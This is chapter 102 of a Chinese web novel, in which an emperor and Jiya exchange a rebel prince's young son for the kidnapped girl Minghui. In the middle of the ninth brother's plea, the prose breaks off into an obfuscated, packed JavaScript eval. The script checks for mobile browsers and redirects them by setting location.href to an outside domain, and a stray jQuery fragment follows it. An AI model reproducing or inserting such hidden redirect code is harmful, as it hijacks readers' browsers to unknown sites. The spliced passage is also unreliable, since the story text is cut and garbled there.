102.第 102 章

作品:《掌中雀

    他不醒,周边伺候的一个也不敢靠近,这一觉直从早晨睡到了傍晚还没有醒来痕迹,吉雅急着去探明惠的安危,几次召百福近前,可他也支支吾吾不敢说明白。


    “找到明惠了是不是?你们知道她在谁手里,能毫发无伤的救出她吗?”


    百福瞥了眼仍躺在床上昏睡的陛下,不敢将事实告诉她,只说明惠姑娘一切无恙,叫她不要担心。


    “陛下告诉你们不得向我透露实情对吗?”


    被逼问的哪里敢说那人的不是,蠕动着唇角又开始说车轱辘话。


    “我明白了,多谢你!但能不能帮我传个话回家,告诉父亲我一切安好。我失踪这么久,孩子们一定在闹着找我和明惠,先帮我传信回去安抚他们一阵,剩下的事等陛下醒来再说。”


    吉雅坐回床头,等着盼着他醒来,然而他当真是疲惫已久,这一觉直睡了一天一夜,到第二天中午才堪堪掀起眼皮。


    吉雅见他醒了忙上前将人扶起,又拿了粥碗坐在床边,安静的搅动粥面吹散热气,才给他递在嘴边。


    “先吃点东西,你一整夜都没醒,现在是不是浑身无力?先不要起来,靠在我身上就好。”


    纤细的肩臂将他拢在怀里,他甚至感觉耳后被她消瘦的锁骨硌得生疼,但就是这样别扭难受的缩在女人怀里,他也半点没动,顺从的紧贴着任她一口一口的喂粥。


    她少有表达感情的时候,他私底下习惯了把这些贴心照顾,当作她想他的证据。


    不过吃得再慢也有见底的时候,粥碗空了,百福即刻上前在他耳畔密言了几句。


    他听完不顾身体坐了起来,这就要穿衣出去,吉雅在后面拉着他袖口,连句话也插不上,随他走了两步,脚步顿涩的停在原地。


    “吉雅,我有要事,在这里等我回来好不好?”


    她咧嘴惨笑,苦涩如同裂痕爬满整张脸。


    “在这里我永远都要等你,什么也不配知道,什么也不许多问。”


    祈令夷见她面色不虞慌忙想要解释,但她后退两步忽而目光如炬,闪着泪花的双眼从未有过的坚定的盯视着他。


    “要么告诉我你去哪里,要么带我一块去!不然我就是死也不在这等你。”


    被她厉言吓得噤声,百福心惊胆战的垂着脑袋,生怕陛下发怒,然而陛下停了一会儿忽然笑了,上前捧着她气鼓鼓的小脸,轻轻哄着。


    “好!那便跟我去,但是此去恐有危险,你要时刻待在我身边,不许乱跑。”


    两人剑拔弩张的气氛倏然被陛下解开,百福都还没反应过来,便看着两人牵手走出了房门。


    一行顺利到了南山云居寺,刚下车吉雅还不明所以来此为何,但当她见到了那被困于静室,听到声响翻坐回头的孩子,一切似乎都有了合理的解释。


    “翊王造反身死,他的好九弟曾多次找我求情留下他哥唯一的血脉,我不答应,他居然跑到了漠北将你们绑了过来,试图以一换一。”


    吉雅眨了眨眼表示不理解,“若是为了救这孩子,只绑我一个人要挟你不是更好,他留下明惠干嘛?难道不知道她与你毫无瓜葛?”


    祈令夷摸了摸她的头发,眼中满是温软的笑意,直盯得她这么大个人也有些不好意思。


    转过头避开半分,忽而听到他在身后解释。


    “他知道若是真的拿你要挟我,我不会让他们活着走出京畿,他很聪明,绑了你们两个人来京城,却把你放了,他知道你绝对舍不下明惠,而我也一定会听你的。”


    吉雅无言以对,更不敢对上他揶揄的视线,正巧这时候百福进来抱起孩子,她忙问。


    “我们这就要去换人吗?”


    祈令夷嗯了声,揽着她出了门直奔城外。


    这一路上,吉雅心内憔悴极了,生怕他们谈不拢伤到明惠,可一转眼,看到端坐锦毯中间的幼儿,见他和顺哥儿差不多的年岁,又升起无尽的可怜心疼。


    明知道他这孩子长大之后怕是会想着为父报仇,折腾的举国不安,可眼下要抹去这么一个小家伙的性命,她却也是不忍。


    “换回明惠之后,你要截杀他们吗?”


    葱白的指尖钻到了两襟下头,拉着他轻拽两下,祈令夷摸了下她的脸蛋,笑问。


    “你想我怎么做?”


    吉雅噎住,知晓他睚眦必报的性子,自己说再多也是无用,更是不便掺和他祈姓之间的内务,于是缩着脖子又不吭声了。


    他轻笑,忍不住捏着脸蛋将她调过来。


    “我清楚你,你也应该清楚我。”


    吉雅打开他的手,嗫嚅着:“我怎么知道?”


    “因为往后我只会按你想的去做,只要你答应我一个条件。”


    那条件甚至无需他说出口就已经浮在明面上,吉雅连忙坐起来离他老远,抿着唇生怕自己吐出一个音阶也被他当做答应。


    他倒是不着急逼她,眼看她避之不及,墨黑的瞳珠一转便想到了什么,掀开轿帘唤了百福近前。


    大约晌午时分,车终于停在了林间小道上,吉雅正要下车被他猛地拉住。


    “你在车里等,我去同他交涉,必不会伤到明惠。”


    “可……”


    “听话!”


    他撂下一句,没给她辩驳的机会,下了车关上车门,将她与孩子严严实实的护在歹人视线之外。


    祈令夷刚下车便瞧见草棚里端坐着的九弟,两年时间不见,他长高了些,但隆起的脊背佝偻又消瘦,似乎变得不像是正当好时候的葱玉少年。


    “陛下!”


    见他来了,祈真勍恭敬的回身跪在地上,月白的衣袍落在尘土里,甚至没敢抬眼先瞧他一眼。


    “还以为九弟在琼州活得不错,倒是没想到会在这里再见到你。”


    祈真勍抬起半寸,却仍不敢直视这个杀了两个哥哥的四哥,他知道自己这次行的每一步都是死路,他这辈子还未到二十却命数已尽。


    但这都是他自己选的路,六哥待他如父如母,若不是六哥护佑他长大,他也不会有享尽清福的这十几年。如今六哥已死,唯一的血脉被陛下攥在手里,为了皇室稳固,定然是不会叫他活的。


    他却偏想赌上一次,赌四哥不是真正无情的人,赌他用自己的性命还能换回一丝温情。


    “四哥,真勍所行之事万死难恕,但能否请你看在弟弟以命相抵的份上,放过孩子!”


    说完的刹那,他就听见对面高高在上的天子的一声嗤笑。


    “九弟,为了你那个好哥哥,你可真是无所不用其极。我那时候放了你,本是为了咱们兄弟的情分,但你却只跟你六哥讲情面,却一而再再而三的挑衅于我呢!”


    “陛下,真勍不敢!”缩在地上的身形佝偻的像只老狗,他明明已经吓得两手发抖,却还是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533823|156156||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    再三恳请着。


    “陛下!我愿意一命换一命!换给六哥孩子的一条活路。只要您放过他,我的亲卫会带他去琼州,永生永世也不会透露他身份的秘密,他会像个普通人一样悄无声息的活过此生。”


    这番恳求并没换来半点声响,不远处站着的帝王,如同把脚踩在了他头顶,没说话却好似说了一切,无声的蔑笑着他的异想天开。


    祈真勍知道这样打动不了他,抬手抽了腰间短刀出来,深深吸了口气。


    “请陛下看在曾是兄弟的份上,饶过孩子,真勍在地下也会为陛下祈佑国泰民安。”


    说着捧着短刃这就要往颈脉上划,却未料到这时,一道清澈的女声忽而制止了他,他瞧过去,只见自己费尽心力绑过来的人正下了马车。


    她无视旁人阻拦,一直走到了四哥身边才停下来,望着他鄙夷万分。


    “道理不是这样讲的吧?你若说以命换命,拿你自己的命就好,怎么还偏拐了不相干的,我的明惠要挟?”


    祈真勍似乎是未曾料到她有这样大的胆量,敢在他与陛下之间站出来说话,一时噎住,“那是那是”结结巴巴的卡了好一会儿。


    “只要陛下答应,我即刻放人!”


    吉雅摇头苦笑,“你才不会这么简单放人,若是我们把孩子给你,你一定又要说走远些,确认安全之后才能把明惠放回来。”


    她回头看了祈令夷一眼,他正抱着臂悠闲的望着她俩交涉,似乎并不在意孩子到底要不要给他,吉雅顿时明白了他的意思,转过身命人将孩子抱下来。


    “我也不欲同你再多废话,在车上我喂了这孩子一颗腊裹毒丸,现在还没融化蜡衣,药效还未发作。你想要他活着的话,立刻把明惠还给我!明惠无事,我自然把孩子给你们,到时候是灌药催吐还是如何挽救全看你们!”


    “时间不等人,再行耽搁下去,我不保证他不会就地毒发死在这里。”


    明明是个女子却如此狠毒!祈真勍慌张的站起身,连自尽谢罪也忘了,咬着牙恶狠狠的盯着她,立刻传音过去叫手下放了那小姑娘。


    不多时,穿过草丛的一片明黄蝶裙匆匆跳出来,向她跑来,吉雅立刻冲上去抱住了多日不见的明惠。


    她瘦了很多,本来圆乎乎的小脸蛋瘪下去不少,连脸上常带着的独属于孩子的红润也变作苍白,整个人大病一场似的娇弱不堪。


    “明惠,你怎么样?身上有没有受伤?”


    明惠多日不曾见到婶娘,又被一群陌生人整日围着,胆战心惊的连饭也吃不下去,终于见到亲人,此刻呜呜的淌着泪,被问起也只能摇头回应。


    “都是婶娘的错,叫你一个人被他们关了这么久!”


    吉雅看着明惠的呜咽,自己也忍不住抱着她哭了出来,可明惠是个多懂事的孩子,见她抽泣居然忘了自己经历的这些恐怖,还有心来安慰婶娘。


    “不是婶娘的错,我都知道!在船上睁不开眼,但我听到你是怕我生病,才迫不得已送我走的。”


    吉雅抓着她纤细的两只胳膊,又将人左左右右的看了个遍,才问道。


    “现在好了吗?还有没有哪里难受?”


    明惠抹了抹眼睛,强撑着笑道:“没有不舒服,我没事!”


    眼看她们这边温馨和睦,祈真勍急不可耐的打断她,叫道:“孩子给我!我已经照你说的做了,快把孩子交给我!”